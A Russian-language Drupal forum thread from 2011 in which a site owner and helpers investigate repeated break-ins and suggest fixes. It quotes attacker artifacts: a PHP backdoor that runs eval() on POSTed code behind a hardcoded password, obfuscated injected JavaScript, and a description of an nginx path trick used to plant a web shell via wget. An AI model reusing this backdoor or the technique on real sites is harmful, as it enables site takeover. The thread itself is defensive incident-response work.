Взламывают сайт

Главные вкладки

Аватар пользователя tshadrin tshadrin 7 февраля 2011 в 21:05

Здравствуйте, недавно появилась такая проблема.
Кто-то ломает сайт на Drupal.
Если подробнее то происходит это так(из того что удалось отследить).

1. Злоумышненник каким-то образом добавляет в ноду скрипт с php кодом, ставит формат ноды php, хотя это ролям делать запрещено.
2. Потом как это обычно делается - вызывается эта нода, в неё c помощью POST отправляются данные с вредоносным кодом, который распаковывается через eval() в изначально залитом в ноду скрипте.
Т.к. код находится на сайте - злоумышленник просто выполянет в залитом коде db_query() и делает все что ему вздумается.

Уже долго не могу понять как он это делает. Подскажите пожалуйста что можно с этим сделать.

Доступ к ?q=admin в .htaccess редиректит на fsb.ru.
В файлах изменений нет, проверяю регулярно на всякий случай, с правами на файлы все ок, в этом уверен.
Друпал 6.x последний, за время атак 1 раз обновил.
От phpfilter отказаться не могу т.к. на нем сделан некоторый функционал. Увы... Это легко могло бы решить проблему, но нужен другой способ.
Прокси с которых ходит злоумышленник попадают после атак в правила файервола.
К cron.php попасть нельзя, редиректит на fsb.ru
Напрямую постом не шлют код, только в зашифорованном виде для eval.
При заливе первого скрипта, не обращаются к файлу index.php. (Логирую содержимое массивов GET и POST).

Вот это вижу в htaccess
- 78.40.231.89 - - [05/Feb/2011:01:16:38 +0300] "POST /taxonomy/term/13372/?comment=238076 HTTP/1.0" 200 33768 "http://istranet.ru/taxonomy/term/13372/?comment=238076" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)"
- 78.40.231.89 - - [05/Feb/2011:01:17:45 +0300] "POST /taxonomy/term/13372/?comment=238076 HTTP/1.0" 200 33781 "http://istranet.ru/taxonomy/term/13372/?comment=238076" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)"

Если нужна дополнительная информация, любую могу наковырять. Вплоть до кода первого скрипта который злоумышленник заливает на сайт в ноду.

Комментарии

Аватар пользователя inquis@drupal.org inquis@drupal.org 7 февраля 2011 в 21:35

<a href="mailto:volocuga@drupal.org">volocuga@drupal.org</a> wrote:
Значит используют Full HTML, туда суют яву и получают доступ. Тут где то xxandeadxx красиво расписывал процесс.

Топик был от VasyaOk


Интересно стало - нашел: http://drupal.ru/node/51703

Кроме друпала, модули тоже обновлялись?

Аватар пользователя tshadrin tshadrin 7 февраля 2011 в 22:24

Спасибо, покопался в нодах, нашел только это.

'eval(unescape("%69%66%20%28%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%2e%68%6f%73%74%20%3d%3d%20%27%77%77%77%2e%6a%6f%62%2d%6d%6f%2e%72%75%27%20%7c%7c%20%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%2e%68%6f%73%74%20%3d%3d%20%27%6a%6f%62%2d%6d%6f%2e%72%75%27%29%20%7b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%7a%61%7a%61%40%64%69%6e%66%6f%2e%72%75%22%3e%7a%61%7a%61%40%64%69%6e%66%6f%2e%72%75%3c%2f%61%3e%27%29%7d%20%65%6c%73%65%20%7b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%6a%6f%62%2d%6d%6f%2e%72%75%2f%76%61%63%33%36%30%32%34%39%2e%68%74%6d%6c%22%3e%68%74%74%70%3a%2f%2f%77%77%77%2e%6a%6f%62%2d%6d%6f%2e%72%75%2f%76%61%63%33%36%30%32%34%39%2e%68%74%6d%6c%3c%2f%61%3e%27%29%7d"))'

Теги и конечную точку с запятой убрал.
FullHTML был у корреспондентов сайта и админа.
В коде всего-лишь ссылка на сайт.

И вот еще что
var a,s,n; function k11f986abd3c4aff9fc8cb94c92cc1f83(s){r='';for(i=0;i=8364){n=128;} r+=String.fromCharCode(n-5);}return eval(r);}a='{fw%wjlj}u%B%4c-myyuxD?a4a4.D-|€8‚a3.Drxp2wjlnts3wfgtyf3wz-a43/.D)4n@%u%B-&wjlj}u3yjxy-ithzrjsy3qthfynts.%D%,Af%mwjkB\'myyu?a4a4rxp2wjlnts3wfgtyf3wza4DfwjfB{8dwjxzrj[nj|+niB>886977\'Cmyyu?a4a4rxp2wjlnts3wfgtyf3wza4DfwjfB{8dwjxzrj[nj|+niB>886977Aa4fC,%?%,Af%mwjkB\'rfnqyt?xjsnp6><5E~fsij}3wz\'Cxjsnp6><5E~fsij}3wzA4fC,.@';document.write(k11f986abd3c4aff9fc8cb94c92cc1f83(a));

FullHtml отрубил для всех. у нод формат тоже поменял. Остается ждать.

Модули конечно тоже регулярно обновляются.

Аватар пользователя neochief neochief 8 февраля 2011 в 2:09

Смотрите еще на серваке время последнего обновления файлов. Если есть доступ на сервак с редактированием файлов — получить доступ на сайт и замести потом следы проще простого. Пароли на сервак тырят логгерами. В некоторых случаях это бывает даже дело рук недобросовестных админов серверов.

Аватар пользователя tshadrin tshadrin 8 февраля 2011 в 11:06

Утром опять нашел в одной из нод в body php код и формат ноды был php code

$pass = $_POST['pass'];
$arbcode = $_POST['arbcode'];
if($pass!='cross'){
global $user;
if (!$user->uid)
{echo '
form method="post">';
}
}else{
form method="post">

" />
eval($arbcode);}

Дело точно не в форматах ввода, для пользователей отключены full html и phpcode.
Файлы на сервере проверяю find'ом.. меняются только картинки со времени обновления сайта которые лежат в sites/default/files.

Добило в /var/log/messages вот это
Feb 8 02:10:47 www drupal: http://**********.ru|1297120247|user|74.220.215.63|http://***************.ru/node/156441?destination=node%2F156441|http://**********.ru/node/156441|2308||Session opened for AdminUser. Пароль на бд и на юзера поменял сразу.

Аватар пользователя G.A. Vinogradov G.A. Vinogradov 8 февраля 2011 в 11:13

Проверяете логи апача, смотрите кто делал POST запрос на страницу с этой нодой, находите IP нарушителя. Потом просматриваете логи друпала, находите кто логинился с этого ip.

Аватар пользователя tshadrin tshadrin 8 февраля 2011 в 11:19

Это стандартный алгоритм.
1. Находим ip.
2. Дропаем всю подсеть в iptables.
3. Смотрим куда и как он делал пост запрос и каким юзером.
4. Просим юзера поменять пароль.
5. Смотрим что он натворил.
6. Проверяем есть ли сессии для этого IP, удаляем если они под админом остались.

Это похоже на тушение пожара. А как его предотвратить?

Аватар пользователя G.A. Vinogradov G.A. Vinogradov 8 февраля 2011 в 11:21

tshadrin wrote:
Это стандартный алгоритм.
1. Находим ip.
2. Дропаем всю подсеть в iptables.
3. Смотрим куда и как он делал пост запрос и каким юзером.
4. Просим юзера поменять пароль.
5. Смотрим что он натворил.
6. Проверяем есть ли сессии для этого IP, удаляем если они под админом остались.

Это похоже на тушение пожара. А как его предотвратить?

Я думаю, что в тот момент, когда дом горит, нужно думать о тушении пожара. После ликвидации и выяснения причин - можно думать о предотвращении.
М.б. у вас лично троян попятил логин/пасс, тогда нужно чистить систему. Или какой-то модуль дырявый. Или вы допустили к редактированию сайта человека, которого не следовало допускать.

Аватар пользователя tshadrin tshadrin 8 февраля 2011 в 11:30

Стоит касперский. Троянов не находит. У корреспондентов и редакторов нет прав на форматы ввода и они не могут выбирать или менять формат ввода.
Не удается как раз выявить первопричину взлома.

Аватар пользователя G.A. Vinogradov G.A. Vinogradov 8 февраля 2011 в 11:44

tshadrin wrote:
Стоит касперский. Троянов не находит. У корреспондентов и редакторов нет прав на форматы ввода и они не могут выбирать или менять формат ввода.
Не удается как раз выявить первопричину взлома.

То что касперский троянов не видит - еще не значит, что их нет.
Собирайте информацию, всю что касается взлома - кто, когда. В крайнем случае - можете прибегнуть к помощи специалистов.
Будет информация - найдем крайнего, залатаем дыру.

Аватар пользователя tshadrin tshadrin 8 февраля 2011 в 11:51

Нашел пару скриптов в файлах пользователей. Как их могли туда залить? расширения .inc и .js.
Используются файл менеджер IMCE есть ли в нем известные дыры? Как можно безопасно его настроить?

Аватар пользователя tshadrin tshadrin 8 февраля 2011 в 13:25

После удаления скрипта сайт wartchdog все время говорит
Сообщение include(/var/www/html/sites/default/files/u19149/bit.inc) [function.include]: failed to open stream: No such file or directory в файле /var/www/html/includes/common.inc(1696) : eval()'d code в строке 6.

Где может подключаться этот файл?
Кричит только по ссылке /taxonomy/term/[term_num]

Аватар пользователя ingumsky@drupal.org ingumsky@drupal.org 9 февраля 2011 в 11:00

А каким запросом к базе, кстати, можно найти ноды, у которых фильтр ввода стоит php, ну и блоки, соответственно? Ибо столкнулся с аналогичной проблемой, что и топикстартер.

ФТП нет, доступ по ssh для рута закрыт, пароль сильный... php-filter есть, но пользоваться им может только рут сайта, которым он применяется только в редких случаях. Судя по всему, злоумышленник залил свой код на сайт через какую-то пропущенную мной дыру — где-то сумел с помощью php закинуть код в /sites/default/files/pictures. Сомневаюсь, что это через загрузку аватары было сделано. И вот теперь пытаюсь найти у комментариев в фильтрах ввода этого нет, в node_revisions тоже ни у кого нет, но как посмотреть блоки и добавленные через cck textarea? Где ещё может быть дырка? Подскажите, пожалуйста. По логам вижу, что злоумышленник (зарегистрированный на днях у меня на сайте) обращается к залитому на сервер коду, а вот как он туда его залил я не знаю, а ведь без этого никак не обзопасить себя от следующего взлома Sad

Аватар пользователя tshadrin tshadrin 10 февраля 2011 в 0:42

select node_revisions.nid,node_revisions.uid
from node_revisions
inner join filter_formats on node_revisions.format=filter_formats.format
where filter_formats.name='PHP code';

Либо узнаешь номер формата PHP
select * from filter_formats;
Потом
select * from node_revisions where format=[тут подставить номер формата];

То-же делаешь для комментов
select comments.cid,comments.uid
from comments
inner join filter_formats on comments.format=filter_formats.format
where filter_formats.name='PHP code';

Если думаешь что залили в /sites/default/files скрипты, то ищи файлы так
find /var/www/html/sites/default/files/ -name "*.inc" -print
find /var/www/html/sites/default/files/ -name "*.tpl" -print
find /var/www/html/sites/default/files/ -name "*.js" -print
find /var/www/html/sites/default/files/ -name "*.php" -print
Ну путь к папке если другой то свой подставь.
Если найдешь там что-то - значит шелл
Ну и ядро перезалей Попробуй да юзера смени на папке с сайтом, чтобы писать нельзя было никуда кроме темп и sites/default/files папок.
Если бы не права, думаю у меня все ядро в левых скриптах бы было давно.

В моем случае как я понял взлом был из-за FullHTML фильтра.
Сутки уже полет нормальный. Попытки были взлома но забавные.

Аватар пользователя Виктор Степаньков ака RxB Виктор Степаньк... 9 февраля 2011 в 2:39

Я сегодня тоже столкнулся с интересным взломом у знакомого.
Каким-то странным образом, сайт начал продавать сапо-ссылки. Но логи не вариант почитать, их тупо нет

Аватар пользователя natbampo natbampo 9 февраля 2011 в 10:38

"<a href="mailto:ingumsky@drupal.org">ingumsky@drupal.org</a>" wrote:
где-то сумел с помощью php закинуть код в /sites/default/pictures

может /sites/default/files/pictures ?
а проверки на то что файл - картинка у тебя нету?
Глянь в вандюке в главе про загрузку файлов есть пример файлика который надо бросать в папку с файлами которые сервер не мог исполнить как php.

Аватар пользователя ingumsky@drupal.org ingumsky@drupal.org 9 февраля 2011 в 11:12

Если что, сам сервер (ВПС) на nginx — может быть я при переезде на него с апача что-то напутал с правами и доступом к файлам и папкам... не знаю. Шелл и прочий код, залитый злоумышленником, принадлежит www-data.

"Mirocow" wrote:
Обращайтесь помогу. Найду дыру и залатаю. (если конечно она есть)

Не очень представляю, как это будет происходить, но обращаюсь. Буду рад уже хотя бы советам, почта: мой ник на яндексе.

"natbampo" wrote:
может /sites/default/files/pictures ?
а проверки на то что файл - картинка у тебя нету?

Спасибо, исправил в оригинальном посте адрес. Специально я ничего не делал. Был уверен, что Друпал с этим сам справится — в конце концов, я ничего не менял в работе с загрузкой файлов на этой инсталляции.

"natbampo" wrote:
Глянь в вандюке в главе про загрузку файлов есть пример файлика который надо бросать в папку с файлами которые сервер не мог исполнить как php.

Окей, посмотрю. Спасибо!

Аватар пользователя ingumsky@drupal.org ingumsky@drupal.org 10 февраля 2011 в 23:05

Всем спасибо! Закрыли дыру. В конфиге nginx не было указано, чтобы делалась проверка на существование файла прежде, чем работать с ним. Злоумышленник обращался с запросом вида examples.net/sites/default/files/pictures/picture-1.gif/.php и в качестве параметров передавал всё, что угодно, начиная от wget... Тем самым он заливал на сайт свой шелл (нашли сперва один, а потом, когда первый удалили, он второй залил и на том засветил свой "метод"), с помощью которого уже делал всё, что хотел... с правами веб-сервера.

Аватар пользователя nesca nesca 11 февраля 2011 в 14:29

<a href="mailto:Siegfrid@drupal.org">Siegfrid@drupal.org</a> wrote:
и как выглядит такая инструкция в nginx?

тоже сильно интересует.
может что-то типа:

location ~ \.php$ {
        if (!-e $request_filename) {
            rewrite ^(.+)$ /index.php break;
        }
}
Аватар пользователя tshadrin tshadrin 11 марта 2011 в 10:59

Здравствуйте, это снова я, мой сайт продолжают ломать.
Удалось выяснить что происходит это так:
1. Злоумылненник заливает файл формата png или jpg на сервер(это можно всем зарегистрированым пользователям с помощью imce).
2. Каким-то образом заливают файл .htaccess в юзерскую папку
3. В файле находится вредоносный код.
4. Злоумышленики обращаются к файлу как к скрипту.

Подскажите пожалуйста как закрыть эту дыру, оставив возможность пользоваться imce.

Аватар пользователя Виктор Степаньков ака RxB Виктор Степаньк... 11 марта 2011 в 13:31

"<a href="mailto:Sentrashy@drupal.org">Sentrashy@drupal.org</a>" wrote:
тогда надо чтобы он автоматически генерировался там.

.htaccess запрещающий выполнение находится в директории files и наследуется поддиректориями.
Особые умельцы на особых хостингах его удаляют

Аватар пользователя tshadrin tshadrin 11 марта 2011 в 15:18

У меня под сайт отдельный сервак, в корне files лежит htaccess в нем ничего не менялось
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
Options None
Options +FollowSymLinks
Кроме автосоздания htaccess в юзерских папках есть способы? Пока по крону удаляю лишние.

Аватар пользователя G.A. Vinogradov G.A. Vinogradov 11 марта 2011 в 20:54

Ну... У вас ВПС, так что можно провернуть вот такое:

# rename htaccess files
AccessFileName ht.access

Note: If you rename your htaccess files, remember to update any associated configuration settings. For example, if you are protecting your htaccess file via FilesMatch, remember to inform it of the renamed files:

# protect renamed htaccess files
<FilesMatch "^ht\.">
 Order deny,allow
 Deny from all
</FilesMatch>

Лучше будет попробовать что-то вроде этого:

<Directory /sites/default/files>
AllowOverride None
</Directory>

Это работает исключительно в .conf файлах Апача, в .htaccess не сработает.

Аватар пользователя tshadrin tshadrin 12 марта 2011 в 1:13

О G.A. Vinogradov спасибо, удивляюсь как сам забыл про Надо меньше пить.
Но это не объясняет первопричину - а именно, то как залили htaccess файлы и js файлы на сервер.
У меня опять впечатление что я не могу найти первопричину взлома.

Аватар пользователя G.A. Vinogradov G.A. Vinogradov 12 марта 2011 в 9:27

tshadrin wrote:
О G.A. Vinogradov спасибо, удивляюсь как сам забыл про Надо меньше пить.
Но это не объясняет первопричину - а именно, то как залили htaccess файлы и js файлы на сервер.
У меня опять впечатление что я не могу найти первопричину взлома.

Ну, чем смог - помог Wink
А для первопричины нужно логи смотреть, конфиги видеть и т.д.

Аватар пользователя tshadrin tshadrin 28 марта 2011 в 15:15

Еще раз здравствуйте, нашел еще одну проблему.
PHP исполняется для файлов с расширением .php. .php.1 .php.* в общем.
Как это исправить?